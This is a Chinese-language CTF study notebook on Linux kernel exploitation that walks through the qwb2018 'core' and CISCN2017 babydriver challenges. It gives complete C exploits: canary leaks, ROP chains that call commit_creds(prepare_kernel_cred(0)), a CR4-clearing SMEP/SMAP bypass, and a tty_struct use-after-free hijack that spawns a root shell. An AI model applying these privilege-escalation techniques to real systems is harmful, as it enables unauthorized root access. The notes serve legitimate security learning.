内核pwn刷题笔记

刷题记录，可能会非常乱，因为我主要是服务于自己，写的时候大概会主要写自己想要巩固的部分。(我这个人，什么事都只想着自己呢)

qwb2018 core(rop)

内核pwn初体验，非常好玩儿,主要是看着这个复现https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying

首先拿到内核文件系统

毕竟是第一次做，解释一下每个文件

https://zhuanlan.zhihu.com/p/466591309

• bzimage

bzImage是最终生成的内核映像文件，可以理解为压缩后的vmlinux。可以用extract-vmlinux提取vmlinux

• vmlinux

vmlinux 是静态编译，未经过压缩的 kernel 文件

内核源码根目录下比较大的vmlinux就是第一次编译链接生成的ELF文件，如果内核开启了调试选项，那么crash工具加载的就是这个vmlinux来获取符号信息等，debug-info包里的就是这个vmlinux

总而言之里面大概是有符号的

如果题目没给vmlinux，一般用extract-vmlinux提取。

• start.sh

跑起来这个内核的参数

• core.cpio

这里是文件系统，从start.sh里面可以看到

初始化文件系统为这个文件系统。而这种文件系统看起来一般是压缩包形式的，所以一般可以直接解压缩就可以解出来文件系统。

简单分析

看start.sh,发现有kaslr

注意这里的分配的内存有点小，我们直接跑可能跑不起来，多分配一些即可。

随后解包cpio

mkdir core
cd core
mv ../core.cpio core.cpio.gz
gunzip ./core.cpio.gz 
cpio -idmv < ./core.cpio

随后得到文件系统

主要的文件如下

首先看看init，这是首先会执行的代码

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

可以看到

cat /proc/kallsyms > /tmp/kallsyms 这里相当于给你了内核的符号表，因为我们普通用户是没法直接cat /proc/kallsyms的。

poweroff -d 120 -f &是定时关机，直接删掉后重打包

setsid /bin/cttyhack setuidgid 1000 /bin/sh 这里是给你一个初始权限，我们可以本地调试的时候1000改成0，这样就可以直接root模式，也就可以获得text段的地址方便导入符号调试

然后就没啥多的了

gen_cpio.sh是他给你的方便你打包cpio的脚本，直接用就行了

然后就是最重要的core.ko，一般内核题都是分析这玩意。就相当于加入的内核模块的二进制了。

各种sh脚本

gcc编译

gcc exp1.c -o exp -static -masm=intel

cpio打包

在core目录下
mv ../../exp_dir/exp .    此处exp_dir是我的脚本目录
./gen_cpio.sh core.cpio
mv ../core.cpio .

qemu调试

注意要root，不然remote连接没权限

sudo su
gdb ./vmlinux -q
add-symbol-file ./core.ko {text地址}
target remote localhost:1234   start.sh里面默认开了gdb调试选项，直接用

core模块text地址获取

root模式下
cat /sys/module/core/section/.text

因为有kaslr所以每次关闭后要重来一次

内核模块分析

先checksec，有canary。

拖进ida分析

注册模块的位置

看注册模块的回调函数，也就是看这个proc_create的第四个参数

write,ioctl,release三个函数

core_copy_func

漏洞点位于core_copy_func，可以看到最后的qmencpy的a1是unsigned int16，而前面比较的时候是int64。我们可以构造低16位是正数的64位负数，就可以绕过这里。

core_ioctl

第二个case可以改off

core_read

因为off可控，所以我们可以通过这个把canary泄露出来。偏移是0x40

core_write

这里可以往name里写0x800个字符

功能解析完了，总流程就出来了

首先赋值可控的off，获得canary。然后write rop链到name里面，最后用copy_func的类型转换洞把rop链写到栈上即可完成利用。

用ropper搜索gadget，注意要用解压出来的文件系统里面的那个，根据最上面的解释

内核源码根目录下比较大的vmlinux就是第一次编译链接生成的ELF文件，如果内核开启了调试选项，那么crash工具加载的就是这个vmlinux来获取符号信息等
ropper --file vmlinux --search "pop|ret" > gadget.txt

然后我们就可以自取所需了

exploit

找好了gadget就可以写脚本了（基本上参考的https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x06-Kernel-Heap-Heap-Spraying）

#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>

size_t prepare_kernel_cred=0,commit_creds=0;

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_privilige(size_t prepare_kernel_cred, size_t commit_creds)
{
    void *(*prepare_kernel_cred_ptr)(void *) = 
                                         (void *(*)(void*)) prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m"
         "[+] Successful to get the root. Execve root shell now..."
         "\033[0m");
    system("/bin/sh");
}

void core_read(int fd,char *buf){
    puts("\033[34m\033[1m[*] core_read\033[0m");
    ioctl(fd, 0x6677889B, buf);
}

void set_off_val(int fd,size_t off){
    puts("\033[34m\033[1m[*] set_off_val\033[0m");
    ioctl(fd, 0x6677889C, off);
}

void core_copy(int fd,size_t nbytes){
    puts("\033[34m\033[1m[*] core_copy\033[0m");
    ioctl(fd, 0x6677889A, nbytes);
}

int main(int argc, char ** argv){
    int fd;
    FILE* ksyms_file;
    char buf[0x50],type[0x10];
    size_t addr;
    size_t offset,canary;

    puts("\033[34m\033[1m[*] Start to exploit...\033[0m");
    save_status();
    fd = open("/proc/core",2);
    if(fd<0){
        puts("\033[31m\033[1m[-] Open device failed.\033[0m");
        return -1;
    }

    ksyms_file = fopen("/tmp/kallsyms","r");
    if(ksyms_file == NULL){
        puts("\033[31m\033[1m[-] Open kallsyms failed.\033[0m");
        return -1;
    }
    while(fscanf(ksyms_file,"%lx%s%s",&addr,type,buf) != EOF){
        if(prepare_kernel_cred && commit_creds) {
            break;
        }

        if(!commit_creds && !strcmp(buf, "commit_creds")) {
            commit_creds = addr;
            printf("\033[32m\033[1m"
                   "[+] Successful to get the addr of commit_cread:"
        	   "\033[0m%lx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred")) {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m"
                   "[+] Successful to get the addr of prepare_kernel_cred:"
        	   "\033[0m%lx\n", prepare_kernel_cred);
            continue;
        }
    }
    offset = commit_creds  - 0xffffffff8109c8e0;
    printf("\033[32m\033[1m"
           "[+] The offset is:\033[0m%lx\n", offset);
    set_off_val(fd,64);
    core_read(fd,buf);
    canary = ((size_t *)buf)[0];
    printf("\033[32m\033[1m"
           "[+] The canary is:\033[0m%lx\n", canary);

    size_t rop[0x1000] = {0};
    int i;
    rop[0] = 0;
    for(i=1;i<9;i++){
        rop[i] = 0;
    }
    rop[8] = canary;
    rop[i++] = 0;
    rop[i++] = 0xffffffff81000b2f + offset;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;

    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;

    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)get_root_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,rop,0x800);
    core_copy(fd,0xffffffffffff0000 | (0x100));
}

一步步解释

保存用户态参数

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
save_status()

用户态进入内核态，固定板子。

获取关键函数地址和vmbase的偏移

   ksyms_file = fopen("/tmp/kallsyms","r");
   if(ksyms_file == NULL){
       puts("\033[31m\033[1m[-] Open kallsyms failed.\033[0m");
       return -1;
   }
while(fscanf(ksyms_file,"%lx%s%s",&addr,type,buf) != EOF){
       if(prepare_kernel_cred && commit_creds) {
           break;
       }

       if(!commit_creds && !strcmp(buf, "commit_creds")) {
           commit_creds = addr;
           printf("\033[32m\033[1m"
                  "[+] Successful to get the addr of commit_cread:"
       	   "\033[0m%lx\n", commit_creds);
           continue;
       }

       if(!strcmp(buf, "prepare_kernel_cred")) {
           prepare_kernel_cred = addr;
           printf("\033[32m\033[1m"
                  "[+] Successful to get the addr of prepare_kernel_cred:"
       	   "\033[0m%lx\n", prepare_kernel_cred);
           continue;
       }
   }

这里是因为本题把内核符号表给我们了，我们可以通过读取这个位置(init.sh里写了)的kallsyms来获取内核中函数的地址。找到我们需要的prepare_kernel_cred和commit_creds

又因为我们是有vmlinux的，我们可以在其中找到这俩函数相对基址的偏移。找到偏移后我们就可以通过读取的commit_creds地址获取vmbase相对于默认地址的偏移。

offset = commit_creds  - 0xffffffff8109c8e0
	   = commit_creds  - （0xffffffff81000000 + 0x9c8e0）
	   					 vmbase默认基址			commit_creds相对vmlinux基址的偏移

我们需要获取基址才能通过偏移去找到对应的gadget，所以这一步是必不可少的。

获取canary

获取canary如下

set_off_val(fd,64);
core_read(fd,buf);
canary = ((size_t *)buf)[0];

首先把off设置为0x40，就是栈上canary的偏移，前面解释了不细谈。然后read出来后赋值

构造rop链

填充canary，在0x40的位置，可以通过调试得知也可以通过代码

比较有意思的是，用户栈的canary是fs:0x28，而内核的是gs:0x28

然后构造commit_creds(prepare_kernel_cred(NULL))

构造完就是经典的内核回用户的填充栈。

   rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
   rop[i++] = 0;
   rop[i++] = prepare_kernel_cred;
   ===========
* prepare_kernel_cred(0)
===========
   rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
   rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
   ===========
   * 这个pop rcx;ret只是弹栈而已，因为执行call rdx的时候会往栈里push一个地址，需要弹出来
   ===========
   rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
   rop[i++] = commit_creds;
   ===========
   * commit_creds(prepare_kernel_cred(0))
   ===========
   rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
   rop[i++] = 0;

   rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 
   ===========
* 回到用户态的固定板子
===========
   rop[i++] = (size_t)get_root_shell;
   ===========
   * userip的位置，相当于回到用户态后直接跳到这里执行
   ===========
   rop[i++] = user_cs;
   rop[i++] = user_rflags;
   rop[i++] = user_sp;
   rop[i++] = user_ss;

开打

write(fd,rop,0x800);
core_copy(fd,0xffffffffffff0000 | (0x100));

然后就可以root了

第一次写详细一些，后面简单写了.

qwb2018 core(ret2usr)

比rop简单，因为没开启SMAP/SMEP保护的情况下内核空间可以执行用户空间的数据，所以我们可以以内核的权限执行用户空间的代码。和上面的相比就是，可以获取俩关键函数的地址后直接调用，然后再跳会用户态，不用找很久gadget然后布局栈执行那俩函数。

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define  IRETQ 0xffffffff813eb448

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
..............
    省略重复部分
..............
void getRootPrivilige(void)//直接调用
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

    //construct the ropchain
    size_t rop_chain[0x100], i = 0;
    for(; i < 10;i++)
        rop_chain[i] = canary;
    rop_chain[i++] = (size_t)getRootPrivilige;
    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + offset;
    rop_chain[i++] = (size_t)getRootShell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;

    write(fd, rop_chain, 0x800);
    coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}

qwb2018 core(ret2usr with SMAP/SMEP BYPASS)

开了smap和smep后，需要多一步才能ret2usr。

SMEP：位于Cr4的第20位，作用是让处于内核权限的CPU无法执行用户代码。 SMAP：位于Cr4的第21位，作用是让处于内核权限的CPU无法读写用户代码。

绕过的方法就是把cr4的对应的这俩位给变成0.多找几个gadget就行了

代码

   //construct the ropchain
   size_t rop_chain[0x100], i = 0;
   for(; i < 10;i++)
       rop_chain[i] = canary;

   rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + offset;
   //把当前cr4的值赋值rax
   rop_chain[i++] = *(size_t*) "arttnba3";
   rop_chain[i++] = *(size_t*) "arttnba3";
//填充栈，因为上面会add rsp + pop，刚好填充俩
   rop_chain[i++] = POP_RDI_RET + offset;
   rop_chain[i++] = 0xffffffffffcfffff;
//把掩码pop到rdi
   rop_chain[i++] = AND_RAX_RDI_RET + offset;
//and一下，赋值20和21位为0
   rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
//赋值回去
   rop_chain[i++] = (size_t)getRootPrivilige;
   rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
   rop_chain[i++] = *(size_t*) "arttnba3";
   rop_chain[i++] = *(size_t*) "arttnba3";
   rop_chain[i++] = (size_t)getRootShell;
   rop_chain[i++] = user_cs;
   rop_chain[i++] = user_rflags;
   rop_chain[i++] = user_sp;
   rop_chain[i++] = user_ss;

   write(fd, rop_chain, 0x800);
   coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));

也不难，感觉不如rop。由于之后的cpu基本开了kpti，内核页表的用户地址空间无执行权限，所以我们没法在内核空间执行用户空间代码。ret2usr也就是寄了。但是原理学一下也不是坏事。

CISCN2017babydriver(uaf)

第一次做kernel的uaf。内核堆和用户态的堆区别还是蛮大的。学学学。

内核的堆内存主要指的是线性映射区，常见的分配函数kmalloc从这里分配内存，常用的分配器为slub。slub分配器的结构得多看啊多看。滚瓜烂熟。

本题的漏洞点比较明显

release函数free完后没有清0，导致可以进行uaf。

open函数会打开一个64byte size的堆，放到这个babydev_struct的全局变量里

ioctl函数可以改变这个全局变量的堆的size，相当于重新分配一个堆，size是我们传入的参数

read和write就正常read和write

分析

这里只有一个设备，还是全局的，babydev。如果我们连续open两次的话，后一个kmalloc出来的chunk指针会覆盖前一个，导致两个指针指向同一个设备的chunk。如果free掉一个，另一个还是能指向这个被free了的没有清空的chunk。实现一个uaf。由于本题开了smep，所以没法直接ret2usr，得改cr4.也就是多一步找cr4相关的gadget。由于没开smap，所以我们可以在用户栈布置rop链。

又因为我们需要将栈迁移到我们构造rop链的地址，所以我们需要一个mov esp的gadget，来让我们的rsp设置到rop链的位置，从而执行我们的rop链上的函数。

本题用tty_struct作为victim object，在/dev下有个伪终端ptmx，我们打开这个设备的时候内核会创建一个tty_struct结构体，这个结构体存在一个存放函数指针的结构体tty_operations。所以我们这里首先打开ptmx终端，然后用uaf劫持该终端的tty_operations里的write函数。劫持该函数的原因是write很容易触发。将write函数劫持后执行我们的rop链上的函数。当然在这之前先栈迁移到rop上。

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef
#define RET 0xffffffff81063637
#define USER_RET 0x000000000040101A

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

int main(void)
{
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    //get the addr
    FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    char buf[0x50], type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
    {
        if(prepare_kernel_cred && commit_creds)
            break;

        if(!commit_creds && !strcmp(buf, "commit_creds"))
        {
            commit_creds = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
            continue;
        }
    }

    size_t rop[0x20], p = 0;
    rop[p++] = POP_RDI_RET;
    rop[p++] = 0x6f0;
    rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = getRootPrivilige;
    rop[p++] = SWAPGS_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = IRETQ_RET;
    rop[p++] = getRootShell;
    rop[p++] = user_cs;
    rop[p++] = user_rflags;
    rop[p++] = user_sp + 8;
    rop[p++] = user_ss;
    size_t fake_op[0x30];
    for(int i = 0; i < 0x10; i++)
        fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;
    fake_op[0] = POP_RAX_RET;
    fake_op[1] = rop;
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);
    size_t fake_tty[0x20];
    printf("\033[34m\033[1m[*] Start to fake the tty_struct:%llx\033[0m\n ", fake_tty);
    int fd3 = open("/dev/ptmx", 2);
    read(fd2, fake_tty, 0x40);
    fake_tty[3] = fake_op;
    printf("\033[32m\033[1m[+] fake_op:%llx \033[0m\n",fake_op);
    write(fd2, fake_tty, 0x40);
    write(fd3, buf, 0x8);
    return 0;
}

流程如下：

首先open两次babydev，让后一次覆盖前一次，且两个都指向同一个chunk。随后ioctl改变size为0x2e0，也就是当前版本tty_struct结构体的size。随后free掉。free完后打开ptmx，将刚刚free完的chunk分配给ptmx。然后read前几位，只要保证read的数大于那个operations的size就可以。然后我们将构造好的fake_op覆盖对应的tty_operations

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;        < -------------------------- 这里
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

覆盖完后write回去。最后再对ptmx进行write调用。此时会先去tty_operations，也就是我们已经用fake_op覆盖的位置，找到偏移为8的write函数

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);     < -------------------------- 这里
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

因为此时栈还在内核，所以我们需要在偏移为8的这个位置把栈迁移到用户栈的可控位置。我们布置一个mov esp，rax的gadget在这个位置。原因是调试的时候发现执行write时rax存放的就是我们fake_op的首地址。迁移完后栈还需要抬一位(调试可知)才能到我们的最开始的rop链的函数，所以我们随便选一个pop rax ret的gadget即可。执行完后就是正常构造rop链了。